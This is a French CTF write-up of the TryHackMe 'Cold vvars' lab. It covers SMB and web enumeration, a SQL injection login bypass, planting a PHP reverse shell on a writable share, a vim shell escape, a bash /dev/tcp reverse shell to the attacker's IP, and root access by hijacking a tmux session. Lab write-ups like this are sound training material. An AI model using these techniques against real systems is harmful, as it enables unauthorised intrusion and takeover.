Cold vvars – TryHackMe – WriteUp mode tuto – Fr

Cold vvars est une box medium de TryHackMe qui fait appel à plusieurs compétences sur SMB, SQL. Il ne s’agit pas ici d’exploiter des vulnérabilités, mais plutôt des erreurs de configuration.

Enumération

Dans le but de connaître quels sont les ports ouverts, je lance un scan avec nmap et l’option -T5 sur tous les ports ( -p- )

Commande :

nmap -T5 -p- 10.10.28.194

SMB énumération

On va continuer l’énumération sur les ports SMB ( 139 et 445 ) en tentant de voir si des partages sont existants et auquel cas, tenter de s’y connecter. 

Commande :

smbmap -H 10.10.28.194

On ne peut pas se connecter sur les différents partages. On a besoin d’identifiants. 

Commande :

smbclient \\\\10.10.28.194\\SECURED

Last but not least enum4linux qui est toujours intéressant à utiliser.

Commande :

enum4linux 10.10.28.194

On obtient un nom ( ArthurMorgan ) qui pourrait servir de login.

 
 

Web énumération

Sur les deux ports ouverts (8080 et 8082 ), il faut effectuer un scan avec gobuster pour déterminer quels sont les répertoires accessibles.

Commande :

gobuster dir -u http://10.1028.194:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

gobuster dir -u http://10.1028.194:8082 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Sur le port 8080, on a le répertoire /dev, on va à nouveau faire un scan avec gobuster avec l’option -x pour chercher des fichiers selon les extensions PHP, HTML et TXT 

Commande :

gobuster dir -u http://10.10.28.194:8080/dev -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

Le contenu du fichier note.txt :

Secure File Upload and Testing Functionality

 

Mise à part ce fichier, il n’y a rien d’intéressant sur le site. On va voir ce qu’il y  a sur le port 8082. Au vu du résultat de gobuster, il semblerait que l’on a un site web avec une authentification. 

Toutes les combinaisons de mot de passe, admin/admin, admin/password, ne fonctionnent pas. J’ai tenté de bypass l’authentification avec une injection SQL avec BurpSuite.

Pour la configuration et BurpSuite, je vous invite à aller sur cette page d’explication. ( qui n’existe pas pour le moment… )

En 1ier on va s’authentifier avec l’utilisateur ArthurMorgan et un mot passe lambda. 

Avant de valider l’authentification, on va mettre en place BurpSuite pour que la requête de login soit interceptée

La requête est bien interceptée, on la retrouve dans l’onglet Proxy.

Cette requête doit être ensuite envoyé dans Intruder soit par crtl + i soit clic doit et sent to intruder.

Une fois que l’on se trouve dans Intruder, on est sur l’onglet target. Il n’y a rien à modifier. Dans l’onglet suivant Positions ( la 2ᵉ image ), il faut faire clear en haut à droite et surligner le mot de passe et cliquer sur add en haut à gauche. 

Ensuite dans l’onglet payload ( la 3ᵉ image ) il faut coller une liste de commande sql. L’un d’elle permettra de bypass l’authentification. 

Il faut ensuite cliquer sur 

 

Plusieurs injections sont valides et permet de bypass l’authentification. Celle-ci en particulier, admin » or « 1 »= »1 , permet de récupérer les mots de plusieurs utilisateurs dont celui d’ArthurMorgan

Initial Foothold

L’obtention des identifiants d’ArthurMorgan nous permet d’accèder au contenu du partage SECURED

Commande :

smbclient \\\\10.10.250.99\\SECURED -U ArthurMorgan

On peut voir que l’on retrouve le fichier note.txt. À ce moment-là, il faut tenter de copier un fichier dans le partage voir si on a les droits d’écriture

Commande :

put fichier.txt 

Comme l’écriture est possible, on va mettre un reverse shell en PHP dans le partage. Celui de pentestmonkey est parfait. Il faut juste modifier l’adresse IP et le port à l’intérieur du script

Commande :

put php-reverse-shell_Linux.php

Pour activer le reverse, il faut se rendre sur l’URL vu plus haut http://10.10.250.99:8080/dev/ et de rajouter à la suite le nom du reverse ( php-reverse-shell_Linux.php)

À noter qu’il faut mettre en place un écouteur nc avec de valider l’URL

Commande :

nc -nlvp 1234

URL :

http://10.10.250.99:8080/dev/php-reverse-shell_Linux.php

Mouvement latéral www-data -> ArthurMorgan -> marston

Le reverse shell nous amène sur le compte www-data. Sur compte, il n’y a rien d’important. On va passer sur le compte ArthurMorgan. Tout simplement en faisant cette commande :

su ArthurMorgan

password 

À partir de là, ça s’est compliqué. En fait j’avais obtenu l’information via linpeas mais je ne l’avais pas vu… J’ai perdu beaucoup de temps pour rien en refaisant l’énumération encore et encore.

Pour faire simple dans les variables d’environnement, il y a en a une qui est en écoute sur le port 4545

Commande :

nc -nlvp 4545

 

Il faut prendre le choix 4. Il ouvre un éditeur de texte vim. Il existe une vulnérabilité dans ce logiciel, où il est possible à partir de l’éditeur de sortir et de se retrouver sur bash. Comme c’est l’utilisateur marston qui a lancé ce programme.

Commande :

:!sh

Une fois sur le bash de marston, on va faire une commande qui va renvoyer le shell vers un nc

Commande :

bash -c ‘bash -i >& /dev/tcp/10.8.76.250/6666 0>&1’

Escalade de privilège

On vient d’obtenir le bash sur nc. Il faut l’upgrader comme pour le bash sur ArthurMorgan. Et en plus, en dernier, il faudra faire cette commande : export TERM=xterm-256color . Sinon, l’erreur open terminal failed: missing or unsuitable terminal: unknown apparaitra si on fait tmux attach

Lorsque l’on a obtenu le tout premier shell, on a vue s’afficher toute une série d’informations lié à tmux et à l’utilisateur marston

Ce qu’il faut comprendre, c’est que marston à utiliser tmux pour plusieurs choses et notamment pour se connecter sur le compte root.

Ce que l’on va faire c’est que l’on va récupère le tmux de l’utilisateur marston.

Commande :

tmux attach 

Il y a plusieurs bash d’ouvert. pour les faire défiler, il faut utiliser ctrl + b puis n pour arriver sur cette fenêtre. 

Pour atteindre le bash root # il faut fermer les fenêtre une à une avec la commande exit, jusqu’à arriver à la bonne.

0 0 votes
Évaluation de l'article
S’abonner
Notifier de
0 Commentaires
le plus ancien
le plus récent le plus populaire
Inline Feedbacks
View all comments